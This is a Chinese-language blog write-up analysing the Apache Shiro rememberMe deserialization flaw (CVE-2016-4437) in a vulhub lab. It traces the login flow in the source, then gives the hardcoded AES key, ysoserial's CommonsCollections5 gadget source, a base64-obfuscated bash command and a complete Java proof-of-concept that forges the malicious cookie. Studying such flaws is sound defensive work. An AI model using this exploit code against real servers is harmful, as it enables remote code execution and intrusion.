0


[CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析

文章目录


0x01 前言:

Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制的理解以及java代码审计颇有帮助。本文针对Shiro进行了一个原理性的讲解,从源码层面来分析了Shiro的认证和授权的整个流程,说明rememberme的作用,以及为何该字段会导致反序列化漏洞。


0x02 Shiro 登录认证流程图:

在这里插入图片描述


0x02 版本范围:

Shiro <= 1.2.5


0x03 Shiro 登录验证流程调试分析:

Shiro 环境来自 vulhub。 我们先正常输入账号密码登录,断点调试分析Shiro整个登录过程做了什么操作。

  • 输入正确的账号密码 (admin, vulhub) 登录,getSubject 获取一个没有绑定具体用户的空用户主体,账号密码写入 UsernamePasswordToken,subject.login() 开始进行账号密码验证登录。在这里插入图片描述在这里插入图片描述
  • 步入 login 方法,可以看到 securityManager.login(this, token) 通过 token (账号密码) 去登录验证获取具体用户主体 subject。在这里插入图片描述> SecurityManager是Shiro框架的核心, Shiro通过 SecurityManager 来管理内部组件实例,并通过它来提供安全管理的各种服务。 SecurityManager 主要对账号、权限及身份认证进行设置和管理。在这里插入图片描述> SecurityManager继承了接口Authorizer(认证器),SessionManager(会话管理器),Authenticator(授权器) 。
  • 跟进 login 方法,调用 Authorizer 接口的 authenticate 方法, 验证 AuthenticationToken 参数,如果验证成功,返回具体用户主体实例(Subject)表示经过身份验证的帐户的身份。如果AuthenticationToken 有问题,验证失败,则抛出 AuthenticationException。在这里插入图片描述
  • 继续跟进,token表示主体(用户)的登录主体和凭证,返回引用认证用户的帐户数据AuthenticationInfo。如果在身份验证过程中有任何问题,抛出 AuthenticationException 。在这里插入图片描述
  • 继续跟进,getRealms()获取Realm集合,如果realm只有一个,走的是doSingleRealmAuthentication方法,如果有多个,走的是doMultiRealmAuthentication方法。如下图:我们只创建了 Realm (MainRealm), 所以走 doSingleRealmAuthentication 方法获取身份验证信息。在这里插入图片描述在这里插入图片描述
  • 继续跟进,最后到了我们自己自定义账号密码匹配逻辑,匹配成功以后实例化 SimpleAuthenticationInfo 并返回。在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 用户账号密码匹配成功,一路返回到 AbstractAuthenticator.java#login, 当执行完 Subject loggedIn = createSubject(token, info, subject) 后,可以看到先前未绑定具体用户的 subject 现在已经绑定了具体用户 admin 。在这里插入图片描述
  • 继续跟进,在 AbstractAuthenticator.java#login 方法中对onSuccessfulLogin(token, info, loggedIn) 下断点,观察登录成功后进行了什么操作。如下代码逻辑可以看出,先判断securityManager 是否配置了 cookieRememberMeManager,如果存在,则下一步去判断前端是否表明了需要记住我(rememberme), isRememberMe(token) 为 true 说明需要记住我,然后执行 rememberIdentity(subject, token, info) 进行记住当前身份操作。在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 进入 rememberIdentity(subject, token, info),首先获取需要记住的用户主体信息,然后对 PrincipalCollection 实例对象进行序列化,getCipherService() 获取加密服务,进行AES加密,最后返回加密后的字节数组。在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 跟进 encrypt(bytes),可以看到调用 getEncryptionCipherKey() 获取秘钥字节数组进行AES加密,一路反向溯源发现原始秘钥字符串为 kPH+bIxk5D2deZiIxcaaaA==。在这里插入图片描述在这里插入图片描述
  • 通过秘钥对数据进行加密,得到加密后字节数组,回到 AbstractRememberMeManager.java#rememberIdentity, 在 rememberSerializedIdentity(subject, bytes) 打断点,跟进可以看到对加密后的字节数组进行了 base64 编码,并保存进 cookie中,后面返回给前端进行保存。在这里插入图片描述在这里插入图片描述
  • 整个登录验证流程基本完成。用户关闭浏览器,在 rememberMe 指定过期时间内打开浏览器并访问相关接口服务时就无需再登录,可以正常访问服务。在这里插入图片描述

小结:分析完整个登录验证的代码执行过程后,其实就很容易想到一个安全问题。生成 rememberMe 信息时进行了序列化操作,有序列化,并有反序列化过程,且加解密秘钥使用的硬编码,我们完全可以伪造 rememberMe 的信息,触发反序列化漏洞,进而控制服务器。


0x04 复现漏洞:

1、 服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们要构造 poc 就需要先序列化数据然后再AES加密最后base64编码。
2、由于上述 shirodemo 存在 commons-collections 3.2.1 依赖, 所以可使用 CommonsCollections5 利用链, 借助 ysoserial 指定CommonsCollections5 生成序列化数据。(后续会写一些反序列化利用链原理与挖掘文章,现在先将就用 ysoserial 生成)

1、CommonsCollections5 利用链如下:

Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

2、ysoserial 指定 CommonsCollections5 利用链生成序列化数据的源代码如下:

packageysoserial.payloads;importjava.lang.reflect.Field;importjava.lang.reflect.InvocationHandler;importjava.util.HashMap;importjava.util.Map;importjavax.management.BadAttributeValueExpException;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importysoserial.payloads.annotation.Authors;importysoserial.payloads.annotation.Dependencies;importysoserial.payloads.annotation.PayloadTest;importysoserial.payloads.util.Gadgets;importysoserial.payloads.util.JavaVersion;importysoserial.payloads.util.PayloadRunner;importysoserial.payloads.util.Reflections;@SuppressWarnings({"rawtypes","unchecked"})@PayloadTest( precondition ="isApplicableJavaVersion")@Dependencies({"commons-collections:commons-collections:3.1"})@Authors({Authors.MATTHIASKAISER,Authors.JASINNER })publicclassCommonsCollections5extendsPayloadRunnerimplementsObjectPayload<BadAttributeValueExpException>{publicBadAttributeValueExpExceptiongetObject(finalString command)throwsException{finalString[] execArgs =newString[]{ command };// inert chain for setupfinalTransformer transformerChain =newChainedTransformer(newTransformer[]{newConstantTransformer(1)});// real chain for after setupfinalTransformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class}, execArgs),newConstantTransformer(1)};finalMap innerMap =newHashMap();finalMap lazyMap =LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry =newTiedMapEntry(lazyMap,"foo");BadAttributeValueExpException val =newBadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");Reflections.setAccessible(valfield);
        valfield.set(val, entry);Reflections.setFieldValue(transformerChain,"iTransformers", transformers);// arm with actual transformer chainreturn val;}publicstaticvoidmain(finalString[] args)throwsException{PayloadRunner.run(CommonsCollections5.class, args);}publicstaticbooleanisApplicableJavaVersion(){returnJavaVersion.isBadAttrValExcReadObj();}}

执行命令:**

java -jar .\ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}

**
含义:指定 CommonsCollections5 利用链生成可执行

echo The server has been hacked > warning.txt

命令的序列化数据。

为什么要写成 **

bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}

**,而不是直接写 **

echo The server has been hacked > warning.txt

**?
原因:当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过。具体看参考这篇文章:绕过exec获取反弹shell

// exec(String command)publicProcessexec(String command)throwsIOException{returnexec(command,null,null);}...publicProcessexec(String command,String[] envp,File dir)throwsIOException{if(command.length()==0)thrownewIllegalArgumentException("Empty command");StringTokenizer st =newStringTokenizer(command);String[] cmdarray =newString[st.countTokens()];for(int i =0; st.hasMoreTokens(); i++)
        cmdarray[i]= st.nextToken();returnexec(cmdarray, envp, dir);}...// exec(String cmdarray[])publicProcessexec(String cmdarray[])throwsIOException{returnexec(cmdarray,null,null);}

3、编写 POC 生成 Payload:

在这里插入图片描述

packageshiro;importjava.io.*;importorg.apache.shiro.codec.Base64;importorg.apache.shiro.crypto.AesCipherService;importorg.apache.shiro.util.ByteSource;publicclassShiroPoc{privatestaticString KEY ="kPH+bIxk5D2deZiIxcaaaA==";privatestaticString gadget ="CommonsCollections5";privatestaticString cmd ="bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}";publicstaticbyte[]exec(String cmd){Process process =null;try{if(File.separator.equals("/")){
                process =Runtime.getRuntime().exec(newString[]{"/bin/bash","-c", cmd});}else{
                process =Runtime.getRuntime().exec(newString[]{"cmd.exe","/C", cmd});}}catch(IOException var6){
            var6.printStackTrace();}InputStream in1 = process.getInputStream();byte[] stdout =inputStreamToBytes(in1);InputStream in2 = process.getErrorStream();byte[] stderr =inputStreamToBytes(in2);return stdout.length !=0? stdout : stderr;}publicstaticbyte[]inputStreamToBytes(InputStream in){ByteArrayOutputStream baos =null;Object var3;try{
            baos =newByteArrayOutputStream();byte[] bytes =newbyte[1024];int len;while((len = in.read(bytes))!=-1){
                baos.write(bytes,0, len);}byte[] result = baos.toByteArray();byte[] var5 = result;return var5;}catch(IOException var15){
            var3 =null;}finally{try{if(baos !=null){
                    baos.close();}if(in !=null){
                    in.close();}}catch(IOException var14){
                var14.printStackTrace();}}return(byte[])var3;}publicstaticvoidmain(String[] args)throwsIOException{String result ="java -jar \""+"src\\main\\java\\shiro\\ysoserial.jar\" "+ gadget+" \""+ cmd +"\"";byte[] ans =exec(result);AesCipherService aes =newAesCipherService();byte[] key =Base64.decode(KEY);ByteSource ciphertext = aes.encrypt(ans, key);BufferedWriter out =newBufferedWriter(newFileWriter("src\\main\\java\\shiro\\rememberMe.txt"));
        out.write(ciphertext.toBase64());
        out.close();}}

4、验证漏洞:

在这里插入图片描述
在这里插入图片描述
验证成功,漏洞复现成功。


标签: 安全 apache java

本文转载自: https://blog.csdn.net/haduwi/article/details/127399463
版权归原作者 Specif1c 所有, 如有侵权,请联系我们删除。

“[CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析”的评论:

还没有评论